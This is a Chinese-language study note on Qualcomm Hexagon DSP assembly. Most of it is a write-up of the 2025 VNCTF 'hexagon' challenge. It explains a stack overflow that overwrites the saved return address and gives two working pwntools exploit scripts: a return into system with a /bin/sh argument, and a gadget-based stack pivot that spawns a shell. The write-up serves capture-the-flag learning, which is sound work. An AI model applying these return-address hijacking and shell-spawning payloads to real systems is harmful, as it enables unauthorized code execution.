Hexagon 学习
Hexagon 是高通(Qualcomm)开发的 数字信号处理器(DSP) 架构,专为移动设备、物联网和边缘计算设计,以高效能、低功耗为核心优势。它被集成在高通骁龙(Snapdragon)系列芯片中
- hexagon用allocframe开辟栈帧:LR压栈,FP压栈,SP减去一定数值向低地址开辟,FP设置成指向旧FP的指针。deallocframe/dealloc_return用于销毁栈帧/销毁栈帧并返回,从栈底取回FP和LR。
 
- 一共有32个32位通用寄存器,r0-r31。存在寄存器对,可以当做64位寄存器使用,如r0和r1可以合并成r1:0
- r29-r31是别名寄存器。r29是SP,r30是FP,r31是LR寄存器。SP是栈顶寄存器,FP是栈(底)寄存器,LR是储存返回地址的寄存器。
看汇编感觉是类arm架构
主要的汇编有
| 12
 3
 4
 5
 
 | allocframe(#0x10) #开辟栈空间add(r0,#-0x10) #加减乘除,有返回值
 call func
 dealloc_return #pop and ret (类似pop,但是hexagon是么有pop滴)
 memw(r1) #取指针指向的内容
 
 | 
例题
『2025VNCTF』hexagon
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | .text:00020460                 .global vuln.text:00020460 vuln:
 .text:00020460                 { allocframe(#0x10) }
 .text:00020464                 { r0 = add(pc, ##aD@pcrel) }
 .text:0002046C                 { r1 = add(fp, #-0x10) }
 .text:00020470                 { call scanf }
 .text:00020474                 { r0 = #0 }
 .text:00020478                 { r1 = add(fp, #-8) }
 .text:0002047C                 { r2 = #0x10 }
 .text:00020480                 { call read }
 .text:00020484                 { r0 = add(pc, ##aCatHomeCtfLog@pcrel) }
 .text:0002048C                 { call system }
 .text:00020490                 { nop
 .text:00020494                   nop
 .text:00020498                   nop
 .text:0002049C                   dealloc_return }
 .text:0002049C
 
 | 
发现allocframe只开辟了0x10个字节的栈空间,然后read的起始地址是从fp-8开始的,再结合32位的4字节地址,显然有栈溢出8个字节,溢出到FP和LR的存储空间,而LR是存取返回地址的,便有劫持返回地址。
解法1-system执行
看了官方wp之后

从libc.so中找到system,发现偏底层的system实现方式是通过posix_spawn进程创建函数(理解为fork+execve即可),通过对参数的简单分析,可以知道r1=”/bin/sh”,然后argv[] = {“sh”, “-c”, user_input, NULL};,而这个usr_input是通过fp-0x10输入的,详情自行查看posix_spawn的参数
然后回到题目发现一开始有一个scanf函数是输入fp-0x10的,那么局势就很明朗了,同时由于qemu的libc是不会改变的,因此传入一个/bin/sh的地址就行啦
libc地址的寻找:
这里是通过日志来寻找的
| 1
 | set_tid_address(1073672412,1073672412,-4,0,1072439316,67108864) = 7
 | 
而这个1073672412是指针地址,通常由libc分配的存储tid(线程id)的,从libc中寻找到对应的结构体
| 12
 3
 4
 5
 
 | .bss:0012F0DC __thread_list_lock:.space 1             .bss:0012F0DC
 .bss:0012F0DD                 .space 1
 .bss:0012F0DE                 .space 1
 .bss:0012F0DF                 .space 1
 
 | 
相减获得libc_base=0x3FEC0000(算是取巧吧,因为我的qemu单步执行坏掉啦/(ㄒoㄒ)/~~)
本地环境与远程有差距,不过方法类似
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | p = process(['qemu-hexagon' , '-d', 'in_asm,exec,cpu,nochain', '-strace', '-dfilter', '0x20420+0xc0', '-D', './log', './main'])libc_base=0x40810000
 fp=0x4080f078
 binsh = libc_base+0x119f7
 ru(b'\n')
 sl(tbs(binsh))
 payload = p32(0)*2+p32(fp+8)+p32(libc_base+0xBE7C0)
 s(payload)
 irt()
 
 | 
解法2-栈迁移
对1血脚本学习。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 
 | stack_addr = 0x4080f1c8libc_base= 0x3FEC0000
 gadget1 = 0x20534
 gadget2 = libc_base + 0xDB2CC
 gadget3 = libc_base + 0x54630
 ret = 0x20538
 bss = 0x406d0
 bss = stack_addr
 target = 0x1039E
 call_system = 0x2048C
 
 payload = str(0x1000)
 sh.sendlineafter('Welcome back, hexagon player!\n', payload)
 
 payload = b'a'*8 + p32(bss+8) + p32(0x20474)
 sh.send(payload)
 
 payload = b'a'*8 + p32(bss-0x30+8) + p32(0x20474)
 sh.send(payload)
 
 payload = b'/bin/sh\x00' + p32(bss-0x20+0x8) + p32(0x20474)
 sh.send(payload)
 
 payload = p32(0x4080f198) + b'bbbb' + p32(bss-0x10+0x8) + p32(0x20474)
 sh.send(payload)
 
 payload = b'sh\x00\x00' + p32(0x2048C) + p32(bss-0x10) + p32(gadget3)
 sh.send(payload)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 sh.interactive()
 
 | 
有意思的